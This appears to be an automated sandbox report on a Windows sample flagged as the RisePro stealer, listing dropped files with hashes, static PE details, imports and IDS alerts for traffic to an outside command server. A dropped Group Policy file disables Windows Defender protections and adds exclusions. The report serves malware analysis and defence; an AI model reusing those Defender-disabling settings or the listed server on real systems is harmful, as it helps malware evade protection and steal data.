Preview:	...;.........$..=..4.nf.8...Zs.o.o...`Jw\|Qj..-..~...)-...Q@g.j.;:.,[.D.{.j~...\.U.".;..* ...X.w....2.._..!{$.l(m.#{@.{.,,a-...k.".L......P........RiMr;K.'.....A.v...9..}....g0A..j....<e.jQ..cP....H+.O..c.M8...,.^Nf....KW..'..^?)oN4.Ef.D.!r](...W<.'.0...$.>_...g.yM....J.\|.....u.h!.m./..S..0,D..P..l`..nt...U....1....'1.~....m....\.m.}.>...@_W9.6.3.f..P.....[.I...A....e^......4......;....zH&...z{e.a.9.e..n.s....-. .Q......[....hb.........n..1L....c.l..%'..N...0.(.T....J..G..v.uQ.L.lhU......Y<..9.`.....G..3.E...Dp...r........Pvgcc....e..TooU.S...\|...F.G.]...8......v.ho..N0:.'.bG.....G..i.t.3..k...Y.D..^....py8..Y,.4sL......w...&..T.>...o ..R.t...;..S...T}\c....m....<k.A..HD..y7.D....o.6^Q<.......l...V%^.oM...4X....yj.#.. h....(..".....w&...V.}...*z.......S..NS..>..AK...G....4.d..1.'.\|i..+..'...>....d%6"...#2`R..>..\....hI~...%.^X.. 0g...._Mx.....6n....Dr....W.._Yc...b.%D."..-..0#..f.I...W.2....}.g.".V.q.S.m.C......s.I7&.......O....).(....^...

C:\Users\user\AppData\Local\Temp\Studios

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.264996685135176
Encrypted:	false
SSDEEP:	768:7q25NKEHq9BxyyM0Dj2Bmgari0UPD/3Efrafd0maNBZikj0kkuhsRqI5o+k:ZNHq9Bxhgari/D/3EfraF0Hikj06Lz
MD5:	75318145A2346FADDDE0AD48BFB0D31D
SHA1:	11139B56D08EBD2CA1C220D222B44FFA04C2B301
SHA-256:	C386693C1913B1EB863E09727B8E18CAE277849F6F16A4028EB68233AEE4396D
SHA-512:	1D565E1EABADD324CF4E9022372CAC77F09750D3074F97008F370FF91802ADCBBBE8468BC45F20D09FB9758589DEC924A7E302AE9247880BDC48D164C344A80E
Malicious:	false
Preview:	u.3.;....a.3.x...A.l.l. .f.i.l.e.s. .(.....)...........a.u.3...#.i.n.c.l.u.d.e. .d.e.p.t.h. .e.x.c.e.e.d.e.d... . .M.a.k.e. .s.u.r.e. .t.h.e.r.e. .a.r.e. .n.o. .r.e.c.u.r.s.i.v.e. .i.n.c.l.u.d.e.s...E.r.r.o.r. .o.p.e.n.i.n.g. .t.h.e. .f.i.l.e.....>.>.>.A.U.T.O.I.T. .S.C.R.I.P.T.<.<.<...B.a.d. .d.i.r.e.c.t.i.v.e. .s.y.n.t.a.x. .e.r.r.o.r.....U.n.t.e.r.m.i.n.a.t.e.d. .s.t.r.i.n.g...C.a.n.n.o.t. .p.a.r.s.e. .#.i.n.c.l.u.d.e...U.n.t.e.r.m.i.n.a.t.e.d. .g.r.o.u.p. .o.f. .c.o.m.m.e.n.t.s.....O.N.....O.F.F...0.%.d...%.d.....S.h.e.l.l._.T.r.a.y.W.n.d...R.E.M.O.V.E.....K.E.Y.S.....E.X.I.S.T.S.....A.P.P.E.N.D.....b.l.a.n.k...i.n.f.o.....q.u.e.s.t.i.o.n.....s.t.o.p.....w.a.r.n.i.n.g.....L.i.n.e. .%.d.:. .....B.U.T.T.O.N.....#.3.2.7.7.0.....\.\.?.\.....\.\.?.\.U.N.C.\.....\.\...\.....S.t.r.i.n.g.F.i.l.e.I.n.f.o.\...\.V.a.r.F.i.l.e.I.n.f.o.\.T.r.a.n.s.l.a.t.i.o.n.....0.4.0.9.0.0.0.0.....D.e.f.a.u.l.t.L.a.n.g.C.o.d.e.p.a.g.e...%.u...%.u...%.u...%.u...\....*.....0...0...0...0...o.p.e.n. ... .a.

C:\Users\user\AppData\Local\Temp\Tags

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	4.5949349580540915
Encrypted:	false
SSDEEP:	384:MPsjnQV6QvXdooooooooooooooooooooooty:cUHiy
MD5:	93E1FB7C29E1C5D82D72013FD87585A2
SHA1:	F8A28C23DC625DF120E1C29E2A9E14BF6F9E07F3
SHA-256:	B910C0C4E8DFC593B3925AFC41F5BB1A5FA86A145E62577307AF2F7FF6427830
SHA-512:	4E663FBB6E10042168E35F3098B9FD37ADDC22FD84A5901E12C4EC7FB576FC7CE9CDE2BB0FB10A29B8C6E8B0FC102386B7B7AD511E1811FCB7E5F972B9E4AA93
Malicious:	false
Preview:	m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.......................................................m...................................................................................................................................................................h.h...........................................................................m...............m.......m.................m.m.....m.m.............................................m...............m...m.m.m.........m.m...................m.m.....m.m.........m.m.m.m.m.m.m.m...m.m.m.m.....m...........m.m.............................................m.m.m.m.m.......m.............m.m.m.m.....m.m.............................................m...............m.....m.....m.....m.m...m...........m.m.m.m.....m.m.......m.m.m...m.m.m.m.m.m.m.........m...m.m.m.m.m.m.m.................................m.m.m.m.m.m.m.m.m.m.m.......m...................m.......m.............................................m...............m.....m...........m.m.....

C:\Users\user\AppData\Local\Temp\Thereof

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.127678229864238
Encrypted:	false
SSDEEP:	192:00GMKTY89cKyjB+mOofFsBk2yR6DXAhADUh95ybOIOo94:0kcHyjJFsBNywAhADsUi
MD5:	C3DF7A4BAE78D93A1AA952A415619D40
SHA1:	93CC13AA30F070C943BAE96ECFCF4505CA13CF98
SHA-256:	47C455D9E9834DB22C39BC8B1D3D3B4DFC15207647CCBFEA35A16F7CAF11A442
SHA-512:	7EC31765F35B1B0E2CE3C091C10721589177D78C16B82A9E5E8B3292822AAADC0C91962F216208E521018B43AB341AE547FD667D945C1A3A480B08863435F50F
Malicious:	false
Preview:	........................```.....vvv.............................b\Y.aL:.\|W3..e6..p<..yA...C..~C..w@..o<..b6.rR3.\J<.a\X.................................}}}.\\\.....................................................```.....xxx.........................]VR.\B/.{K'..X,..i3..t8..}?...B...D...D...B..~?..u9..g4..V,.qG(.UA2.[VS.................................ZZZ.............................................ZZZ.....zzz.........................UH?.g<..}F"..S&..^,..i1..t9...A...I...P...P...J...B..u9..j2.._,..U(.vE".\:!.RHA.................................TTT.....................................\\\0qqq...www.................a^\.S?1.j>..wC...K!..T'.._+..k4..w?...K...W...\...\...W...K..x?..l5..`,..U'..K".tB .a; .L>3.`]\.........................xxx.FFF8................................bbb.....ttt.................da_.Q=..i?..sD..zI!..M#..W*..g7..uF...T...`...h..n..n...i...a...U..wG..g7..X+..N#.{I!.sD .`;..J;0.a`^.........................^^^.............................ZZZN............................

C:\Users\user\AppData\Local\Temp\Things

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	6.773492243030843
Encrypted:	false
SSDEEP:	768:4rUCVoyOQ5DuOKHnPiamE9w97OUg4eVD5:4rnVRCOa69E9wFOUg/R5
MD5:	ECD876C831C2B3E1708FE81C1053EEE4
SHA1:	627E0C5B56DA36FF30F5A9E8BE218525AE3A8059
SHA-256:	1618767B6776FE41E17E4841FD9DA532D0A59563342DC174D143FD42111B3DDB
SHA-512:	130D0100DB8DC13FA2820E98377A8B0B9AA820804B17C097ECFA6C1CC9D3AB0921AF7953A249635EC50097D0DFD4601FE985ABA207D658FF22B4E77A6AACDF72
Malicious:	false
Preview:	d`].....................WWW.....................ggg.................{{{.}}}.~vp.......................................rlf.}}}.....................```.............................jjj.................yyy.yyy.zzz.vqm.......................{.pkg.zzz.{{{.yyy.................bbb....................................+jjj.....................nnn.ppp.xxx.{{{.{{{.zzz.{{{.yyy.rrr.mmm.....................bbb.YYY'........................................ggg.............................ttt.ggg.hhh.vvv.............................bbb.}}}.................................................dddtnnn........................................................nnn.ZZZp................................................................fffummm........................................mmm.___r................................................................................qqqEddd.hhh.nnn.uuu.ttt.nnn.ggg.```.eeeB.......................................................?........................................................

C:\Users\user\AppData\Local\Temp\Tokyo

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	6.231901580470429
Encrypted:	false
SSDEEP:	96:8Whz/SRYOb1a9BlZzAC3druYds27BHD0PD1xvnprnZY2jPoY1xHlz1Patdd:8Sz/SRYOithuYS2ZAD/vprnBQOz1id
MD5:	BEDA7B30D256F7E4D8EE5876D0B262C5
SHA1:	7DBB99BBC4DD7D23FCF9834488AA59F6B50BBA51
SHA-256:	8414705DD0333529CD4077588EE720BCF32E5BC28CAF90F552F73341BB0AE54F
SHA-512:	2B06A95529B87846B62317A2141438558F9A91B0804F7C48A88FDB6CC7E093F209E9089E0262FEAD5F4B4F03711BCB4E2748081B7FAE8D377CFBD3CF980B1A80
Malicious:	false
Preview:	.....M.+Nx.F....L..9}....G..E.....]..................E.u.................3..E..S..M.@Pj.V.u..u.............tV......tN.E....... ...u%..C...C9...........f.;wt.f.8w..................C.f.<Cw..Ct..........E.f.;x.. ............C.f.<Cw..Ct.........].E..6................u..E.................E......E..S..M.@Pj.V.u..u.................. ....-u>..C...C9.....sJf.;wt.f.8wu>..C.f.<Cw..Ct..<.....t.H..f................U....................C.f.<Cw..Ct.}............]..c....}..t?..K...~Q.E.I....E.;Fx......f.......f#.....f;.E.u.....E.........C..M....A...M.;Fx......E.;.....s...........]......=$uL.........0.........C...4....F...8....Fx..<....F\|+Fx....@....E.+Fx....D....E.+Fx....H.....C...X.....C...\....E..+.....L............P.....u..P...............T...........`.....0...P..$uL..................U.....].....Nt..C..<A.}.;.u.3.....W.........t..E.;Q.u.;A.u.......m.......u.U...........E..E..E........E..E........N..].M.............E..........P..<dJ.....E......Y...M....Q.v.P.............f9..

C:\Users\user\AppData\Local\Temp\Vendor

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	7.995561012121999
Encrypted:	true
SSDEEP:	768:ULqY7TzZg952TwIUPX/eBOPp5PiIcpgmwmFbWzUrD2Tlha13M/PX/pEE:Uj7TotIUnA49cqmwe32Bha13M/pEE
MD5:	3032F7CAD7D5FDC76480D35C1B96F1D7
SHA1:	17118E193C859BA96F330F2DFA8CF3994AB6AE6B
SHA-256:	8787ADE46BC3D7F369535A52AD0DDEEFB014652D8E2B83A531A7498E2770C2E3
SHA-512:	565F31ABEECBD55BB6CC920F9888074C779AE12547DDF941EA63F1BF0632B6FC8894E40B54FA8FEA23041ED8C96AD2893F5C5D4BAC31DA542B1D62CE5C163B27
Malicious:	true
Preview:	..P/.....}..B.g.^..p...+.:k9..8....43.ke7...JQ!..(R....^LBB.zCz(L.R.xk..RQ>DbJ....f.........,~.f.8~....!t..hh]..7!Z.I.....U...W0....x1G.....v.a.F...N.....k.n..o.wX........N=>..f.F...Ro1X..q}...8.\....<:M@.C.<..l.....6.{i...u-..5.X..v`.9.e.....E!..IMc....H...B.....FU.F2G5.r..n...^....Fw....[(.+'o.,K.n...v..z.5...;k@\|.+..<..^.....>g.%O..........6_..k....p.q..G.26.-k.....j..h.Z0\J#~E..k1....v....G..V.j!I.':..Z,.?..t.o....:...]].`......P .r....G......:}.........yoc(..Z.#..=l{b2.)!..2....>...c....[...w.>.A. @+......u..fp...}%.z.a....o_1.>."~.z.`.].3}........v@.5Zw....\...A.@......w..OB.o..c.-...(r..2.eM.69...^..A.$_e..P.q..J.._...9'.r..;.D..C..Z...@...r.0.fu..4...8...y. S..3....VV..-..!.B...4........ .J@.v.?V.6...B..P,.....2.i...s.`.R.Z.V.6.3....O.y\.....a...1'.7.6.)E+.F%...6@....(.'.n..E..TY ..,..R..k"...,q...{. Tf.4...-..M .3&....7....^.y9....m..@..q ......%.ZR.9..]r.Bg..j.wH..2..a..0.... a...\|....{#..H.1.O...&mT+...7..D.{.....it..N{.P...

C:\Users\user\AppData\Local\Temp\Violence

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.184577192657991
Encrypted:	false
SSDEEP:	768:eTlKWzhQVNsbSSkLQ7PqYIueIVvaOsibzc+ylIt0su0B4y+aZmzdz:D7gqYrui3vylIusu0B4MmZ
MD5:	A8592B01E55B70C3C7D82383CBEA914B
SHA1:	3F5BC91EF9658DA1B8B3BD21F4C477EFEEFA9779
SHA-256:	BA7160B3E08911B714F3AC8A40F2222745E31A187811BB69CEDCDF27AD83007C
SHA-512:	E29733F533C4C6140FE63D20889DB1CD3C04102E08965EB7C115883F95ED23CFBE891F9A32962495D16BE095C4BD3D806378808B65A32054FBBE0E235B69CCCB
Malicious:	false
Preview:	.........L.........L......L.X.I.....L..F.....L.........L.........L.........L.........L......L...I.....L...F.....L.........L.........L.........L.........L......L...I.....L.0.F.....L.........L.........L.........L.........L......L...I.....L.l.F... .L.......$.L.......(.L.......,.L.......0.L....4.L...I...@.L...F...D.L.......H.L.......L.L.......P.L.......T.L....X.L...I...d.L...F...h.L.......l.L.......p.L.......t.L.......x.L....\|.L...I.....L...F.....L.........L.........L.........L.........L......L.(.I.....L...F.....L.........L.........L.........L.........L......L.H.I.....L...F.....L.........L.........L.........L.........L......L.h.I.....L.+.F.....L.........L.........L.........L.........L......L...I.....L.G.F.....L....... .L.......$.L.......(.L.......,.L....0.L...I...<.L...F...@.L.......D.L.......H.L.......L.L.......P.L....T.L...I...`.L...F...d.L.......h.L.......l.L.......p.L.......t.L....x.L...I.....L...F.....L.........L.........L.........L.........L......L...I.....L...F.....L.........L.....

C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Preview:	[General]..

C:\Windows\System32\GroupPolicy\GPT.INI

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.080093624462795
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsUov:1WsMzYHxbnvEcvgqv
MD5:	8EF9853D1881C5FE4D681BFB31282A01
SHA1:	A05609065520E4B4E553784C566430AD9736F19F
SHA-256:	9228F13D82C3DC96B957769F6081E5BAC53CFFCA4FFDE0BA1E102D9968F184A2
SHA-512:	5DDEE931A08CFEA5BB9D1C36355D47155A24D617C2A11D08364FFC54E593064011DEE4FEA8AC5B67029CAB515D3071F0BA0422BB76AF492A3115272BA8FEB005
Malicious:	true
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=1..

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\AppData\Local\Temp\369580\Origin.pif
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	1.5694308867330604
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5daucomrx8.exe
File size:	19'159'316 bytes
MD5:	33ff8752083bf6b5105749bf5b772b4a
SHA1:	01f8869d2fcd4ff1184dfc956905e01eb15f0d92
SHA256:	ee6ee03724690a677d4bf2610ea86d94eaeb94068d627fe36ec2f0353cc1c9ba
SHA512:	26445b94571fb374b57bb0ee129a8e7fc624e7c3d315a6a6fc0f165f33fa593e90932ef4e5bb0faa7b91f9f1647fc62d1027e7bc58947da4ecdde11745104c7a
SSDEEP:	49152:Ix1BZ/3KMJESGkP9bKJPUyN1RL7HDUq1373ht:+bZ/6JSGkPRwPU2R3Q63h
TLSH:	A9173326E2B561D3E97E0A3171F1AB301BD2D432567098892A403DFD7C72BD3790A97E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	cbc4e464a46466b0

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F758506E66Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F758506E34Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F758506E33Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F758506BC3Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F758506E011h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F758506BCC3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F758506BC3Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x6d00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1902d68	0x2d68
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x6d00	0x6e00	01b11916ca291372ff46521d718ca81d	False	0.7620028409090909	data	6.695161435450058	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfb000	0xf32	0x1000	01effa914a90b27acd314f2e4522e5ab	False	1.002685546875	data	7.941666429088442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4220	0x294f	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0010401891252956
RT_ICON	0xf6b70	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.6057770545158666
RT_ICON	0xf91d8	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.644808743169399
RT_ICON	0xfa300	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.74822695035461
RT_DIALOG	0xfa768	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfa868	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfa988	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfa9e8	0x3e	data	English	United States	0.8225806451612904
RT_MANIFEST	0xfaa28	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T09:53:17.211359+0200	2049060	ET MALWARE RisePro TCP Heartbeat Packet	1	192.168.2.8	49710	3.36.173.8	50500	TCP
2024-09-26T09:53:20.188890+0200	2046269	ET MALWARE [ANY.RUN] RisePro TCP (Activity)	1	192.168.2.8	49710	3.36.173.8	50500	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:53:17.196104050 CEST	49710	50500	192.168.2.8	3.36.173.8
Sep 26, 2024 09:53:17.201184988 CEST	50500	49710	3.36.173.8	192.168.2.8
Sep 26, 2024 09:53:17.201289892 CEST	49710	50500	192.168.2.8	3.36.173.8
Sep 26, 2024 09:53:17.211359024 CEST	49710	50500	192.168.2.8	3.36.173.8
Sep 26, 2024 09:53:17.216183901 CEST	50500	49710	3.36.173.8	192.168.2.8
Sep 26, 2024 09:53:20.188889980 CEST	49710	50500	192.168.2.8	3.36.173.8
